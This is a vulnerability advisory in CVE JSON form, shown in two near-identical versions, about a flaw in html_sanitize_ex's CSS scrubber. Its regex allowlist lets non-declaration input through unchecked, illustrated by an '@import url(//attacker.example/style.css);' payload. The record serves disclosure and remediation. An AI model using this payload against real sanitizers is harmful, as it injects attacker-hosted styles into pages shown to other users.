{"dataType": "CVE_RECORD", "dataVersion": "5.2", "cveMetadata": {"cveId": "CVE-2026-68747", "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "state": "PUBLISHED", "assignerShortName": "EEF", "dateReserved": "2026-07-31T13:23:00.355Z", "datePublished": "2026-08-06T14:50:03.143Z", "dateUpdated": "2026-08-06T15:08:58.171Z"}, "containers": {"cna": {"affected": [{"collectionURL": "https://repo.hex.pm", "cpes": ["cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*"], "defaultStatus": "unaffected", "modules": ["'Elixir.HtmlSanitizeEx.Scrubber.CSS'", "'Elixir.HtmlSanitizeEx'"], "packageName": "html_sanitize_ex", "packageURL": "pkg:hex/html_sanitize_ex", "product": "html_sanitize_ex", "programFiles": ["lib/html_sanitize_ex/scrubber/css.ex", "lib/html_sanitize_ex.ex"], "programRoutines": [{"name": "'Elixir.HtmlSanitizeEx.Scrubber.CSS':scrub/1"}, {"name": "'Elixir.HtmlSanitizeEx':html5/1"}], "repo": "https://github.com/rrrene/html_sanitize_ex", "vendor": "rrrene", "versions": [{"lessThan": "1.5.4", "status": "affected", "version": "0.3.1", "versionType": "semver"}]}, {"collectionURL": "https://github.com", "cpes": ["cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*"], "defaultStatus": "unaffected", "modules": ["'Elixir.HtmlSanitizeEx.Scrubber.CSS'", "'Elixir.HtmlSanitizeEx'"], "packageName": "rrrene/html_sanitize_ex", "packageURL": "pkg:github/rrrene/html_sanitize_ex", "product": "html_sanitize_ex", "programFiles": ["lib/html_sanitize_ex/scrubber/css.ex", "lib/html_sanitize_ex.ex"], "programRoutines": [{"name": "'Elixir.HtmlSanitizeEx.Scrubber.CSS':scrub/1"}, {"name": "'Elixir.HtmlSanitizeEx':html5/1"}], "repo": "https://github.com/rrrene/html_sanitize_ex", "vendor": "rrrene", "versions": [{"lessThan": "0b9f9ad63a7529d4f2c3c1134c371adc3e654308", "status": "affected", "version": "21f90012eb21aa36f4e3701b7547e12faf0f3c8b", "versionType": "git"}]}], "configurations": [{"lang": "en", "supportingMedia": [{"base64": false, "type": "text/html", "value": "<p>Only <code>HtmlSanitizeEx.html5/1</code>, and custom scrubbers declared with <code>use HtmlSanitizeEx, extend: :html5</code>, permit <code>&lt;style&gt;</code> elements, and the sanitized output must be rendered to other users. Applications calling <code>HtmlSanitizeEx.Scrubber.CSS.scrub/1</code> directly are also affected.</p>"}, {"base64": false, "type": "text/markdown", "value": "Only `HtmlSanitizeEx.html5/1`, and custom scrubbers declared with `use HtmlSanitizeEx, extend: :html5`, permit `<style>` elements, and the sanitized output must be rendered to other users. Applications calling `HtmlSanitizeEx.Scrubber.CSS.scrub/1` directly are also affected."}], "value": "Only HtmlSanitizeEx.html5/1, and custom scrubbers declared with use HtmlSanitizeEx, extend: :html5, permit <style> elements, and the sanitized output must be rendered to other users. Applications calling HtmlSanitizeEx.Scrubber.CSS.scrub/1 directly are also affected."}], "cpeApplicability": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.4", "versionStartIncluding": "0.3.1", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}], "credits": [{"lang": "en", "type": "finder", "value": "Peter Ullrich"}, {"lang": "en", "type": "analyst", "value": "Jonatan M\u00e4nnchen / EEF"}, {"lang": "en", "type": "remediation developer", "value": "Ren\u00e9 F\u00f6hring"}], "descriptions": [{"lang": "en", "supportingMedia": [{"base64": false, "type": "text/html", "value": "<p>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. <code>HtmlSanitizeEx.Scrubber.CSS.scrub/1</code> applies its property and value allowlist through a <code>Regex.replace</code> over substrings matching a <code>property: value</code> declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. <code>@import url(//attacker.example/style.css);</code> survives, while the same URL inside a <code>background: url(...)</code> declaration is removed.</p>\n<p>Element boundaries are resolved before the scrubber runs, so injected content does not escape the <code>&lt;style&gt;</code> element and no script executes.</p>\n<p>This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.</p>"}, {"base64": false, "type": "text/markdown", "value": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. `HtmlSanitizeEx.Scrubber.CSS.scrub/1` applies its property and value allowlist through a `Regex.replace` over substrings matching a `property: value` declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. `@import url(//attacker.example/style.css);` survives, while the same URL inside a `background: url(...)` declaration is removed.\n\nElement boundaries are resolved before the scrubber runs, so injected content does not escape the `<style>` element and no script executes.\n\nThis issue affects html_sanitize_ex: from 0.3.1 before 1.5.4."}], "value": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.\n\nElement boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes.\n\nThis issue affects html_sanitize_ex: from 0.3.1 before 1.5.4."}], "impacts": [{"capecId": "CAPEC-148", "descriptions": [{"lang": "en", "value": "CAPEC-148 Content Spoofing"}]}], "metrics": [{"cvssV4_0": {"Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "attackVector": "NETWORK", "baseScore": 2.3, "baseSeverity": "LOW", "privilegesRequired": "NONE", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "userInteraction": "PASSIVE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N", "version": "4.0", "vulnAvailabilityImpact": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnerabilityResponseEffort": "NOT_DEFINED"}, "format": "CVSS", "scenarios": [{"lang": "en", "value": "GENERAL"}]}], "problemTypes": [{"descriptions": [{"cweId": "CWE-74", "description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "lang": "en", "type": "CWE"}]}], "providerMetadata": {"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "shortName": "EEF", "dateUpdated": "2026-08-06T15:08:58.171Z"}, "references": [{"tags": ["vendor-advisory", "related"], "url": "https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7"}, {"tags": ["related"], "url": "https://cna.erlef.org/cves/CVE-2026-68747.html"}, {"tags": ["related"], "url": "https://osv.dev/vulnerability/EEF-CVE-2026-68747"}, {"tags": ["patch"], "url": "https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308"}], "source": {"discovery": "EXTERNAL"}, "title": "CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input", "workarounds": [{"lang": "en", "supportingMedia": [{"base64": false, "type": "text/html", "value": "<p>Sanitize with <code>basic_html/1</code>, <code>markdown_html/1</code> or <code>strip_tags/1</code>, none of which allow <code>&lt;style&gt;</code> elements, or define a custom scrubber that omits it.</p>\n<p>A Content-Security-Policy <code>style-src</code> directive that permits no external stylesheet origins stops an injected <code>@import</code> from loading, though injected inline rules still apply.</p>"}, {"base64": false, "type": "text/markdown", "value": "Sanitize with `basic_html/1`, `markdown_html/1` or `strip_tags/1`, none of which allow `<style>` elements, or define a custom scrubber that omits it.\n\nA Content-Security-Policy `style-src` directive that permits no external stylesheet origins stops an injected `@import` from loading, though injected inline rules still apply."}], "value": "Sanitize with basic_html/1, markdown_html/1 or strip_tags/1, none of which allow <style> elements, or define a custom scrubber that omits it.\n\nA Content-Security-Policy style-src directive that permits no external stylesheet origins stops an injected @import from loading, though injected inline rules still apply."}]}}}

{"dataType": "CVE_RECORD", "dataVersion": "5.2", "cveMetadata": {"cveId": "CVE-2026-68747", "assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "state": "PUBLISHED", "assignerShortName": "EEF", "dateReserved": "2026-07-31T13:23:00.355Z", "datePublished": "2026-08-06T14:50:03.143Z", "dateUpdated": "2026-08-06T15:43:37.237Z"}, "containers": {"cna": {"affected": [{"collectionURL": "https://repo.hex.pm", "cpes": ["cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*"], "defaultStatus": "unaffected", "modules": ["'Elixir.HtmlSanitizeEx.Scrubber.CSS'", "'Elixir.HtmlSanitizeEx'"], "packageName": "html_sanitize_ex", "packageURL": "pkg:hex/html_sanitize_ex", "product": "html_sanitize_ex", "programFiles": ["lib/html_sanitize_ex/scrubber/css.ex", "lib/html_sanitize_ex.ex"], "programRoutines": [{"name": "'Elixir.HtmlSanitizeEx.Scrubber.CSS':scrub/1"}, {"name": "'Elixir.HtmlSanitizeEx':html5/1"}], "repo": "https://github.com/rrrene/html_sanitize_ex", "vendor": "rrrene", "versions": [{"lessThan": "1.5.4", "status": "affected", "version": "0.3.1", "versionType": "semver"}]}, {"collectionURL": "https://github.com", "cpes": ["cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*"], "defaultStatus": "unaffected", "modules": ["'Elixir.HtmlSanitizeEx.Scrubber.CSS'", "'Elixir.HtmlSanitizeEx'"], "packageName": "rrrene/html_sanitize_ex", "packageURL": "pkg:github/rrrene/html_sanitize_ex", "product": "html_sanitize_ex", "programFiles": ["lib/html_sanitize_ex/scrubber/css.ex", "lib/html_sanitize_ex.ex"], "programRoutines": [{"name": "'Elixir.HtmlSanitizeEx.Scrubber.CSS':scrub/1"}, {"name": "'Elixir.HtmlSanitizeEx':html5/1"}], "repo": "https://github.com/rrrene/html_sanitize_ex", "vendor": "rrrene", "versions": [{"lessThan": "0b9f9ad63a7529d4f2c3c1134c371adc3e654308", "status": "affected", "version": "21f90012eb21aa36f4e3701b7547e12faf0f3c8b", "versionType": "git"}]}], "configurations": [{"lang": "en", "supportingMedia": [{"base64": false, "type": "text/html", "value": "<p>Only <code>HtmlSanitizeEx.html5/1</code>, and custom scrubbers declared with <code>use HtmlSanitizeEx, extend: :html5</code>, permit <code>&lt;style&gt;</code> elements, and the sanitized output must be rendered to other users. Applications calling <code>HtmlSanitizeEx.Scrubber.CSS.scrub/1</code> directly are also affected.</p>"}, {"base64": false, "type": "text/markdown", "value": "Only `HtmlSanitizeEx.html5/1`, and custom scrubbers declared with `use HtmlSanitizeEx, extend: :html5`, permit `<style>` elements, and the sanitized output must be rendered to other users. Applications calling `HtmlSanitizeEx.Scrubber.CSS.scrub/1` directly are also affected."}], "value": "Only HtmlSanitizeEx.html5/1, and custom scrubbers declared with use HtmlSanitizeEx, extend: :html5, permit <style> elements, and the sanitized output must be rendered to other users. Applications calling HtmlSanitizeEx.Scrubber.CSS.scrub/1 directly are also affected."}], "cpeApplicability": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:rrrene:html_sanitize_ex:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.4", "versionStartIncluding": "0.3.1", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}], "credits": [{"lang": "en", "type": "finder", "value": "Peter Ullrich"}, {"lang": "en", "type": "analyst", "value": "Jonatan M\u00e4nnchen / EEF"}, {"lang": "en", "type": "remediation developer", "value": "Ren\u00e9 F\u00f6hring"}], "descriptions": [{"lang": "en", "supportingMedia": [{"base64": false, "type": "text/html", "value": "<p>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. <code>HtmlSanitizeEx.Scrubber.CSS.scrub/1</code> applies its property and value allowlist through a <code>Regex.replace</code> over substrings matching a <code>property: value</code> declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. <code>@import url(//attacker.example/style.css);</code> survives, while the same URL inside a <code>background: url(...)</code> declaration is removed.</p>\n<p>Element boundaries are resolved before the scrubber runs, so injected content does not escape the <code>&lt;style&gt;</code> element and no script executes.</p>\n<p>This issue affects html_sanitize_ex: from 0.3.1 before 1.5.4.</p>"}, {"base64": false, "type": "text/markdown", "value": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. `HtmlSanitizeEx.Scrubber.CSS.scrub/1` applies its property and value allowlist through a `Regex.replace` over substrings matching a `property: value` declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. `@import url(//attacker.example/style.css);` survives, while the same URL inside a `background: url(...)` declaration is removed.\n\nElement boundaries are resolved before the scrubber runs, so injected content does not escape the `<style>` element and no script executes.\n\nThis issue affects html_sanitize_ex: from 0.3.1 before 1.5.4."}], "value": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.\n\nElement boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes.\n\nThis issue affects html_sanitize_ex: from 0.3.1 before 1.5.4."}], "impacts": [{"capecId": "CAPEC-148", "descriptions": [{"lang": "en", "value": "CAPEC-148 Content Spoofing"}]}], "metrics": [{"cvssV4_0": {"Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "attackVector": "NETWORK", "baseScore": 2.3, "baseSeverity": "LOW", "privilegesRequired": "NONE", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "userInteraction": "PASSIVE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N", "version": "4.0", "vulnAvailabilityImpact": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnerabilityResponseEffort": "NOT_DEFINED"}, "format": "CVSS", "scenarios": [{"lang": "en", "value": "GENERAL"}]}], "problemTypes": [{"descriptions": [{"cweId": "CWE-74", "description": "CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "lang": "en", "type": "CWE"}]}], "providerMetadata": {"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "shortName": "EEF", "dateUpdated": "2026-08-06T15:08:58.171Z"}, "references": [{"tags": ["vendor-advisory", "related"], "url": "https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7"}, {"tags": ["related"], "url": "https://cna.erlef.org/cves/CVE-2026-68747.html"}, {"tags": ["related"], "url": "https://osv.dev/vulnerability/EEF-CVE-2026-68747"}, {"tags": ["patch"], "url": "https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308"}], "source": {"discovery": "EXTERNAL"}, "title": "CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input", "workarounds": [{"lang": "en", "supportingMedia": [{"base64": false, "type": "text/html", "value": "<p>Sanitize with <code>basic_html/1</code>, <code>markdown_html/1</code> or <code>strip_tags/1</code>, none of which allow <code>&lt;style&gt;</code> elements, or define a custom scrubber that omits it.</p>\n<p>A Content-Security-Policy <code>style-src</code> directive that permits no external stylesheet origins stops an injected <code>@import</code> from loading, though injected inline rules still apply.</p>"}, {"base64": false, "type": "text/markdown", "value": "Sanitize with `basic_html/1`, `markdown_html/1` or `strip_tags/1`, none of which allow `<style>` elements, or define a custom scrubber that omits it.\n\nA Content-Security-Policy `style-src` directive that permits no external stylesheet origins stops an injected `@import` from loading, though injected inline rules still apply."}], "value": "Sanitize with basic_html/1, markdown_html/1 or strip_tags/1, none of which allow <style> elements, or define a custom scrubber that omits it.\n\nA Content-Security-Policy style-src directive that permits no external stylesheet origins stops an injected @import from loading, though injected inline rules still apply."}]}, "adp": [{"title": "CISA ADP Vulnrichment", "metrics": [{"other": {"type": "ssvc", "content": {"id": "CVE-2026-68747", "role": "CISA Coordinator", "options": [{"Exploitation": "none"}, {"Automatable": "no"}, {"Technical Impact": "partial"}], "version": "2.0.3", "timestamp": "2026-08-06T15:43:31.189847Z"}}}], "providerMetadata": {"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2026-08-06T15:43:34.159Z"}}]}}

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